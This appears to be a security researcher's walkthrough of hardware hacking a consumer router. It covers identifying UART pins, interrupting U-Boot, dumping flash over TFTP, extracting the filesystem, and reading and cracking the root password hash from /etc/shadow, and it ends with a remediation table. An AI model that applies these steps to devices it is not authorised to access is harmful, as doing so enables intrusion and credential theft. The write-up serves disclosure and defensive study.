Overview

Consumer IoT devices frequently ship with debug interfaces that are never disabled in production firmware. UART (Universal Asynchronous Receiver-Transmitter) is the most common — a 3.3V serial console that often drops you directly into a root shell or U-Boot bootloader prompt.

In this walkthrough we:

  1. Identify and verify UART pins on a target gateway PCB
  2. Establish a serial connection with a logic analyser
  3. Interrupt the boot process to gain shell access
  4. Dump the full firmware to extract credentials

Target: Generic SOHO router (vendor redacted — disclosure complete) CVSS Score: 8.8 (High) CVE Filed: CVE-2025-PENDING

Tools Required

ToolPurpose
Multimeter / logic analyserIdentifying UART pins
Bus Pirate or FT232RLUSB-to-UART adapter
minicom / screen / PuTTYSerial terminal
binwalkFirmware extraction
jefferson / unsquashfsFilesystem unpacking

Step 1 — Identify UART Pins

Open the device and locate a row of through-hole test points near the SoC. UART typically exposes four pins: VCC, GND, TX, RX.

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# Use a multimeter in DC voltage mode
# Boot the device and probe each pin:
# GND  → 0V  (stable)
# VCC  → 3.3V (stable)
# TX   → fluctuating 0–3.3V during boot (data being sent)
# RX   → usually 3.3V idle

Tip: The TX pin of the device connects to the RX of your adapter, and vice versa.

Step 2 — Determine Baud Rate

Common baud rates: 115200, 57600, 38400, 9600. Try 115200 first — it covers ~90% of consumer routers.

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# Connect FT232RL:
# Device GND → Adapter GND
# Device TX  → Adapter RX
# Device RX  → Adapter TX

# Open terminal at 115200 8N1
screen /dev/ttyUSB0 115200

# If output is garbled, try the next baud rate

Step 3 — Interrupt U-Boot

On boot you’ll see U-Boot output. Hit any key within the 2-second window:

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U-Boot 2019.07 (Feb 20 2023)
DRAM: 128 MiB
Hit any key to stop autoboot: 2
=>

You now have a U-Boot shell. From here you can dump flash or boot into Linux.

Step 4 — Dump Firmware via TFTP

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# On your host machine — start TFTP server
sudo apt install tftpd-hpa
sudo systemctl start tftpd-hpa

# In U-Boot console:
setenv serverip 192.168.1.100
setenv ipaddr   192.168.1.200
sf probe 0
sf read 0x80000000 0x0 0x1000000   # read 16MB flash to RAM
tftp 0x80000000 firmware.bin 0x1000000

Step 5 — Extract Filesystem with Binwalk

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binwalk -e firmware.bin
# Output:
# DECIMAL    DESCRIPTION
# 262144     SquashFS filesystem, little endian, 4.0
# 4194304    LZMA compressed data

cd _firmware.bin.extracted/
unsquashfs -d rootfs squashfs-root

# Enumerate interesting files
find rootfs/ -name "*.conf" -o -name "passwd" -o -name "shadow" | head -30

Step 6 — Credential Extraction

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cat rootfs/etc/passwd
# root:x:0:0:root:/root:/bin/sh

cat rootfs/etc/shadow
# root:$1$aBcDeFgH$XXXXXXXXXXXXXXXXXX:18000:0:99999:7:::

# Crack with hashcat
hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt
# Password: admin123

Impact & Remediation

FindingSeverityRemediation
UART console enabled in productionHighDisable UART or require authenticated access
Default credentials in firmwareCriticalEnforce first-use password change
Credentials stored in plaintext configHighEncrypt sensitive config values
Outdated U-Boot (2019)MediumUpdate bootloader, disable network commands

References